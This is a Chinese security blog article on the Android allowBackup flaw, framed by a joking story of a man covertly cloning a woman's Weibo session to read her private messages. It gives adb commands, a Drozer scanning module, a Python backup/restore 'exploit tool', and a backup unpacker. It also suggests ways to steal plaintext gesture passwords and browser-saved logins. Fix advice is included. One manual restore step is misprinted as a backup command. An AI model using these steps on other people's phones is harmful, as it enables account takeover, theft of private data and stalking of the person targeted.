安全屌丝把妹必必杀技之Android App - APT防御产品

安全屌丝把妹必必杀技之Android App


1604335350-0.png

笔者在使用自己编写的Drozer模块对国内流行的安卓手机应用进行自动化扫描后发现有大量涉及用户财产和隐私的流行安卓应用存在Android AllowBackup漏洞,已测试成功受到漏洞影响的应用包括:新浪微博,百度云网盘,美团,大众点评,去哪儿等等。

[0x00] 漏洞案例

先来看一个情景案例,某IT男一直暗恋部门某女神,一天女神手机太卡了找IT男帮助清理手机空间,IT男高兴地答应女神两分钟搞定,屁颠屁颠的跑到自己电 脑旁边连上手机,女神在一边呆呆的看着IT男敲了几行代码然后在手机上点了几下,最后果然两分钟不到就搞定了,在女神谢着离开后,IT男露出了WS的笑 容。

1604331913-1.jpg

没错,他成功了盗到了女神的微博帐号,终于不用问同事女神的微博帐号是多少了~当然这不是结局,一天晚上睡觉时,他看了女神的微博私信后心突然碎了。

到底发生了什么,这背后有啥不可告人的秘密?且看本文详细分析。

[0x01] 漏洞背景

在谷歌2010年发布Android 2.2 Froyo (冻酸奶)系统中,谷歌引入一个了系统备份的功能,允许用户备份系统应用和第三方应用的apk安装包和应用数据,以便在刷机或者数据丢失后恢复应用。 第三方应用开发者需要在应用的AndroidManifest.xml文件中配置allowBackup标志(默认为true)来设置应用数据是否能能够 被备份或恢复。

当这个标志被设置为true时应用程序数据可以在手机未获取ROOT的情况下通过adb调试工具来备份和恢复,这就允许恶意攻击者在接触用户手机的情况下 在短时间内启动手机USB调试功能来窃取那些能够受到AllowBackup漏洞影响的应用的数据,造成用户隐私泄露甚至财产损失。

使用反编绎工具JEB查看weibo客户端manifest配置:

1604333I8-2.jpg

在之前的案例正是因为新浪微博安卓客户端(最新版)AndroidManifest.xml并没有配置 android:allowBackup=“false”,导致女神手机中的微博客户端数据可以在短时间内通过ADB调试备份到电脑中最后恢复到IT男手 机,然后IT男以后每天就可以用女神的帐号看女神发了啥微博和私信内容。

当然可利用的场景当然不止于此,想想,如果存在漏洞的是你的团购应用呢(看看有啥团购券我先来用吧),当然还有你的网盘应用(说不定可以看女神的私密照~),哦,对了连社交和理财应用也不能放过(女神们还敢把手机给IT男清理不)。。。

[0x02] 检测方法

(1)手工检测

测试环境:

1.Windows 7,ADB调试工具

2.物理接触目标手机1,连接手机1到PC端

3.手机1和手机2均未被ROOT,开启USB调试

4.不用安装其它应用,不启动被测试的应用

测试流程:

1.连接安装开启USB调试手机1 到PC端

2.在PC自动(也可以提前)安装好手机驱动后

3.启动命令行界面输入以下命令:

 

1
2
3
4
#adb devices
显示已连接的设备列表,测试手机是否正常连接
#adb backup -nosystem -noshared -apk -f com.sina.weibo.ab com.sina.weibo
-nosystem表示不备份系统应用 -noshared表示不备份应用存储在SD中的数据 -apk表示备份应用APK安装包 -f 表示备份的.ab文件路径和文件名 最后是要备份应用的packageName

4.点击手机1确认备份界面的“备份我的数据”

5.等待备份完成,至此微博客户端数据成功备份为com.sina.weibo.ab文件

6.断开手机1的连接,可以把手机还给女神啦

7. 连接手机2 ,在命令行界面下输入以下命令:

1
2
3
4
5
#adb kill-server  
关闭ADB
#adb devices 
重新启动ADB,检测手机2是否成功连接 
#adb backup com.sina.weibo.ab

8.点击手机2确认恢复界面的“恢复我的数据”

9.等待恢复完成

10.打开手机2中新安装的微博客户端,测试可正常登录手机1中帐号执行各种操作,且长期有效。

(2)在线检测

目前国内三个主要的Android应用漏洞在线检测系统均能较好的检测此漏洞,建议普通用户和开发者使用腾讯金刚审计系统上传应用安装包进行检测。

1.腾讯金刚审计系统检测结果( http://service.security.tencent.com/kingkong )

160433I91-3.jpg

[0x03] 影响范围

目前测试了手上一台安装有Android 4.1.1系统的魅族MX2手机和安装有Android 4.4.2系统的魅族MX4手机均测试成功,理论上影响Android 2.2-Android 4.4系统中存在风险的应用。

建议评级:

尽管此漏洞的利用条件较高,需要物理接触,但此漏洞对涉及用户财产与隐私类的APP来说杀伤力较大,建议厂商视情况修复。

1.金融类APP 高危

2.支付类APP 高危

3.团购类APP 中危

4.社交类APP 中危

5.网盘类APP 中危

6.其它类APP 低危/无影响

 [0x04] 修复方案

开发者如要避免应用数据泄露的风险,应当在设置AndroidManifest.xml 文件中配置android:allowBackup=“false”,此时应用程序数据无法被备份和恢复。或者在应用启动时检测手机硬件和网络环境是否改 变,如果存在异常则强制退出或重新登录。

 [0x05] 编写Drozer模块实现漏洞自动化扫描

Drozer是MWR InfoSecurity公司开发的一款安卓应用安全评估框架,其社区版开源在Github上(https://github.com/mwrlabs/drozer )。对于从事安卓应用漏洞测试的安全研究者们来说,他们可以使用drozer提供的框架自己编写模块(Module)方便对的安卓应用进行漏洞检测与利用。

以下是自己编写一个Drozer Module,用于自动化批量检测手机中的哪些应用存在AllowBackup风险。

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import re
 
from drozer import android
 
from drozer.modules import common, Module
 
class AbChecker(Module, common.Assets,common.PackageManager):
 
    name = "check if app can be backup and restore by usb debugging"
 
    description = "see:htttp://www.droidsec.cn"
 
    examples ="""
 
    dz> run scanner.misc.abchecker -a
 
    -> it will run the script to check all apps
 
    dz> run scanner.misc.abchecker -p com.android.chrome
 
    -> it will run the script to check the provided package
 
    """
 
    author = "DroidSec.cn"
 
    date = "2015-03-07"
 
    license = "BSD (3-clause)"
 
    path = ["scanner", "misc"]
 
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
 
    VULNERABLE_API = 'android:allowBackup="true"'
 
    
 
    def add_arguments(self, parser):
 
        parser.add_argument("-p", dest="pkg",help="the identifier of the package")
 
        parser.add_argument("-a", action="store_true",dest="all",help="the identifier of the package")
 
    def execute(self, arguments):
 
        if arguments.pkg != None:
 
            #self.stdout.write(arguments.pkg)
 
            self.__write_manifest(arguments.pkg)
 
        elif arguments.all == True:
 
            self.stdout.write("[color yellow] Start scan[/color]"+"\n")
 
            for package in self.packageManager().getPackages(common.PackageManager.GET_PERMISSIONS):
 
                try:
 
                    self.__write_manifest(package.packageName)
 
                except Exception, e:
 
                    print str(e)
 
            self.stdout.write("[color yellow] Scan finish[/color]"+"\n")
 
    def __write_manifest(self, package):
 
        lines=self.getAndroidManifest(package).split("\n")
 
        r1=re.compile(r'\<application')
 
        r2=re.compile(r'allowBackup="false"')
 
        vulnerable=0
 
        for line in lines:
 
            line = str(line)
 
            isApplicationTag=re.search(r1,line)
 
            if isApplicationTag != None:
 
                isAllowBackup=re.search(r2,line)
 
                    #self.stdout.write(line+"\n")
 
                if isAllowBackup == None:
 
                    self.stdout.write("[color red] %s is vulnerable[/color]"%package+"\n")
 
                else:
 
                        continue
 
            else:
 
                continue

运行截图:

  

16043321F-6.jpg

注意事项:

此drozer module检测原理是匹配应用manifest文件中是否配置了allowBackup=“false”来判断应用数据是否可备份和恢复,实际测试会发 现一部分应用能成功备份和恢复但就是无法登录(比如手机淘宝和京东客户端),这说明厂商已经考虑到此设置可能带来的安全风险,并做出了相应限制,此类应用 是安全的。

[0x06] 编写Python脚本实现自动攻击与利用

1.如上文所述,整个漏洞测试过程中需要输入不少命令,对于手速慢和不习惯敲命令的人来说还是略麻烦了点,所以我们可以编写Python脚本来实现自动化攻击和利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
 
#coding:utf8
 
import commands
 
import re,sys
 
from optparse import OptionParser
 
def usage():
 
    print '''
 
    ------------------------------------------------------------------
 
                Android Application AllowBackup Exploit Tool
 
    Usage:DroidSec_AbHack.py -p com.xxx.xxx(packageName) -b (backup)
 
          DroidSec_AbHack.py -p com.xxx.xxx(packageName) -r (restore)
 
    How to check the  security vulnerabilities of application?
 
    Go to the professional Android security Website!
 
                    =>  http://www.droidsec.cn 
 
    ------------------------------------------------------------------
 
    '''
 
class AbHack:
 
    def __init__(self,adb,pkg):
 
        self.adbdir=adb
 
        self.package=pkg
 
    def getinfo(self):
 
        (status,output)=commands.getstatusoutput(self.adbdir+'devices')
 
        r=re.findall('device',output)
 
        if len(r) >= 2:
 
            return "ok"
 
        else:
 
            return "waiting"
 
    def backup(self):
 
        if self.getinfo()=="ok":
 
            print "Start backup......"
 
            output=commands.getoutput(str(self.adbdir)+"backup -nosystem -noshared -apk -f "+str(self.package)+".ab "+str(self.package))
 
            print output
 
            print "backup success!"
 
        else:
 
            print "Please connect your mobile phone(usb debugging must been enabled) or check the ADB directory is configurd properly"
 
    def restore(self):
 
        commands.getstatusoutput(self.adbdir+"kill-server") 
 
        if self.getinfo()=="ok":
 
            print "start restore..."
 
            output=commands.getoutput(str(self.adbdir)+"restore "+str(self.package)+".ab")
 
            print output
 
        else:
 
            print "Please connect your mobile phone(usb debugging must been enabled) or check the ADB directory is configured properly"
 
if __name__ == "__main__":
 
    adbdir="/Users/nickycc/Downloads/adt-bundle-mac/sdk/platform-tools/adb " #please set the ADB file directory before use
 
    parser = OptionParser()
 
    parser.add_option("-p", action="store", dest="pkg")
 
    parser.add_option("-b", action="store_true",dest="abhack")
 
    parser.add_option("-r", action="store_false",dest="abhack")
 
    (options, args) = parser.parse_args()
 
    usage()
 
    if len(sys.argv) <=1:
 
        sys.exit()
 
    elif options.abhack==True:
 
        Backup=AbHack(adbdir,options.pkg)
 
        Backup.backup()
 
    elif options.abhack==False:
 
        Restore=AbHack(adbdir,options.pkg)
 
        Restore.restore()
 
    else:
 
        sys.exit()

运行截图:

160433I49-8.jpg1604333M0-7.jpg

2.应用备份生成的.ab文件其实是可以解包的,解包后的目录结构如下:

1604333950-9.jpg

分别对应了androidmanifest.xml,apk安装包,database目录,files目录,其它目录以及shared_prefs目录,我们可以通过解包来对窃取的应用数据进一步分析。

解包的python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# coding=utf-8
 
import argparse
 
import os
 
import sys
 
import zlib
 
C_BUFFER_SIZE = 1048576
 
def ArgParse():
 
    """
 
    Parses the command line arguments
 
    :return: argparse dictionary
 
    """
 
    # parse command line arguments
 
    parser = argparse.ArgumentParser(
 
        description="xbackup: extracts an Android ICS+ backup file.")
 
    parser.add_argument("ipath",
 
                        help="Input path.")
 
    parser.add_argument("opath",
 
                        help="output path.")
 
    args = parser.parse_args()
 
    return args
 
def Extract(args):
 
    """
 
    Extracts the .tar file of an Android Backup. Assumes the backup is not encrypted and is
 
    compressed.
 
    :param args:
 
    :return:
 
    """
 
    ifile = open(args.ipath, "rb")
 
    ofile = open(args.opath, "wb")
 
    data = ifile.read(C_BUFFER_SIZE)
 
    print data
 
    pos = data.find("none\n") + 5
 
    data = data[pos:]
 
    dc = zlib.decompressobj()
 
    while data:
 
        ofile.write(dc.decompress(data))
 
        data = ifile.read(C_BUFFER_SIZE)
 
    ifile.close()
 
    ofile.close()
 
def main():
 
    args = ArgParse()
 
    if os.path.isfile(args.ipath):
 
        Extract(args)
 
    else:
 
        print "Could not open input file!."
 
        return 1
 
    return 0
 
if __name__ == "__main__":
 
    sys.exit(main())

 

[0x07] 更多猥琐流利用方法

国外安全公司PALO ALTO早在2014年8月就发过研究报告称超过94%的流行应用存在此漏洞, 大牛Claud Xiao更是在去年Hitcon会议分享过与此有关的研究,如何让这个被很多人厂商视如鸡肋的漏洞有为猥琐的利用呢?这里提两点自己想到的,欢迎大家一起 来交流 : )

(1)在APP漏洞里不安全的内部存储绝对是十分常见的漏洞,比如密码明文储存。笔者曾在测试某金融类APP时发现该APP在应用内部(/data /data/com.xx.xx/shared_prefs/)存储了明文的手势密码(如下图中的lock.xml),正常情况下如果用户手机是未 ROOT的,就算明文存储也没法获取到,漏洞影响相对较小,而继而我发现该理财APP同时存在allowbackup漏洞,也就是说我可以先将该应用数据 备份到另一台已经获取ROOT手机,然后我不仅获得了用户帐号登录权限,连手势密码我都可以直接修改成任意(服务器端没做验证)或者相同(服务器端有验 证)。还有一种情况是应用数据库中(/data/data/com.xx.xx/database/)直接存储了用户的登录帐号和密码那相当于直接利用 allowbackup盗得了用户帐户密码。

(2)LastPass(一个用户密码管理工具)曾经被发现存在通过备份到其它手机来清除手势密码来登录获取用户储存在LastPass上的所有密码的漏 洞(CVE-2013-5113 and CVE-2013-5114)。发散一下思维,储存用户其它密码的还有哪些应用?对!浏览器,那些习惯了记住密码的用户很可能就会被存在漏洞的浏览器卖 了。其它就看大家的更猥琐的发挥了~

参考资料:

1. https://www.paloaltonetworks.de/content/paloaltonetworks-com/global/cn_zh/index/company/press/2014/palo-alto-networks-unveils-security-risks-in-android-internal-storage.html

2. http://researchcenter.paloaltonetworks.com/2014/08/insecure-internal-storage-android/

3.  http://developer.android.com/reference/android/R.attr.html#allowBackup

4.  http://blog.c22.cc/2013/08/01/bsideslv-android-backup-unpacker-release/

5.  http://nelenkov.blogspot.fi/2012/06/unpacking-android-backups.html

6. https://github.com/info-lab/ABX

7. https://github.com/mwrlabs/drozer

 





转载请注明出处 APT防御产品 » 安全屌丝把妹必必杀技之Android App

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址